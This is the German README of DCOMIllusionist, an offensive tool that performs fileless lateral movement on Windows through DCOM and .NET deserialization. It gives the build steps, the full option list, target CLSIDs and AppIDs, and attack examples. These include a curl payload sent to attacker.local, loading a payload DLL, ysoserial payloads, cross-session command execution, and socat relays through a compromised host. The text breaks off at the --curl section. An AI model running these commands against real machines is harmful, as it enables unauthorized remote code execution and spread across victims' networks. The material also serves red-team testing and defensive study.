
DCOM In-Memory- und dateilose Laterale-Bewegungstechniken durch .Net-Deserilization
Windows-Technik für dateilose laterale Bewegung.
Einleitung • Build • Verwendung • Technische Details • Danksagungen
Dieses Tool ermöglicht die Remote-Codeausführung auf einem Windows-Rechner, sofern Sie über administrative Rechte verfügen. Es nutzt DCOM und das Verhalten von .NET-DCOM-Servern, die eingehende Objekte automatisch deserialisieren. Dies ermöglicht die Ausführung beliebiger Befehle oder das Laden von DLLs, ohne auf die Festplatte zu schreiben.
Ursprünglich von James Forshaw als Technik zur Privilegienausweitung entdeckt, wurde diese Methode für laterale Bewegung angepasst, indem bestimmte Registrierungsschlüssel remote geändert werden. Zusätzlich unterstützt sie die sitzungsübergreifende Ausnutzung über DCOM, sodass beliebige Befehle in einer anderen Benutzersitzung im Sicherheitskontext dieser Sitzung ausgeführt werden können.
Es funktioniert auf Workstations und Servern, jedoch ist für diese Technik ein Netzwerkzugriff zwischen dem Zielrechner und einem vom Angreifer kontrollierten Rechner erforderlich.
Weitere Details in diesem Abschnitt.
Ein Release ist verfügbar, oder Sie können es manuell erstellen:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!WICHTIG]
Für die erfolgreiche Nutzung dieses Tools ist administrativer Zugriff sowohl auf dem angreifenden Host (über eine erhöhte Shell) als auch auf dem Zielrechner erforderlich.
Verwendung:
DCOMIllusionist.exe [optionen] -t <ziel> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Optionen:
-h, --help Hilfe anzeigen und beenden
-d, --debug Debug-Logging aktivieren
-t, --target <wert> Zielhostname oder -IP festlegen
-p, --port <wert> Zielport festlegen (Standard: 49765)
--clsid <wert> Eine CLSID angeben (ohne geschweifte Klammern)
--appid <wert> Eine AppID angeben (ohne geschweifte Klammern)
-s, --session <wert> Eine Sitzungskennung angeben
-l --listen <host> Listener-FQDN oder -IP angeben
-g, --gadget <wert> Zu verwendendes Gadget angeben
--attacker-sid <wert> Die SID des Angreifers festlegen
--no-port-check Überprüfung der Portverfügbarkeit deaktivieren
--restore-backup <pfad> Registrierung aus Sicherung wiederherstellen
--local-registry-only Nur lokale Registrierungsänderungen durchführen
--remote-registry-only Nur entfernte Registrierungsänderungen durchführen
--skip-local-registry-setup Lokale Registrierungseinrichtung überspringen
--skip-remote-registry-setup Entfernte Registrierungseinrichtung überspringen
--hku Entfernte Registrierungsoperationen auf HKCU statt HKLM durchführen
--fake-clsid Gefälschte CLSID mit gefälschter AppId erstellen
Angriffe:
--ps-exec <argumente> Einen Befehl remote mit PSExec ausführen
--exec <befehl> Einen Befehl remote ausführen
--exec-args <argumente> Argumente für den Befehl
--curl <url> Webanfrage im Curl-Stil als Payload verwenden
--file-write-src <quelle> Zu schreibende Datei
--file-write-dst <ziel> Zielpfad
--load-dll <pfad> Eine DLL in den entfernten Prozess laden
--dll-class <wert> Klasse in der DLL, die ausgeführt werden soll (inkl. Namespace)
--dll-method <wert> Statische Methode in der Klasse, die ausgeführt werden soll (Standard: Run)
--yso-b64 <b64> Base64-kodierten ysoserial-Payload ausführen
--test-network Netzwerkzugriff vom Ziel zum Angreiferrechner überprüfen
--list-sessions Interaktive Sitzungen auf dem Ziel auflisten
Beispiele:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Standard)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Standard)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - Benutzerkontensteuerung (Interaktiver Benutzer)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interaktiver Benutzer)
--sessionWie zuvor erläutert, kann eine Sitzung angegeben werden, um einen beliebigen Befehl in der Sitzung eines anderen Benutzers auszuführen.
[!WARNUNG] Dies funktioniert nur mit AppIDs, die für die Ausführung unter der Identität des interaktiven Benutzers konfiguriert sind. Dies wird automatisch erledigt, es ist nicht notwendig, das
--appid-Argument anzugeben, da das Tool standardmäßig die AppID verwendet, die mit der Benutzerkontensteuerung verknüpft ist.
[!WICHTIG] Dies funktioniert nur, wenn der angreifende Rechner einer Domäne beigetreten ist. Weitere Details hier.
--list-sessionsListet entfernte interaktive und aktive Sitzungen auf dem Ziel mittels WTSEnumerateSessions auf.
--listenWenn der Zielrechner den Host des Angreifers nicht direkt erreichen kann, schlägt der Exploit fehl. Es ist jedoch möglich, einen Zwischenrechner anzugeben, den das Ziel erreichen kann. Mit Tools wie socat kann der Datenverkehr dann von diesem Zwischenrechner zum Host des Angreifers weitergeleitet werden.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidBei der Ausführung des Exploits aus einer runas /netonly-Shell heraus kann die zugehörige Identität nicht automatisch abgerufen werden. Daher ist es erforderlich, diese explizit mit der Option --attacker-sid anzugeben, damit der Angriff erfolgreich ist.
--exec--exec kann mit --exec-args verwendet werden, um beliebige Binärdateien auf dem Ziel auszuführen:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!HINWEIS]
--ps-execist lediglich ein Wrapper dafür, dasselbe kann erreicht werden mit:--ps-exec calc
--curl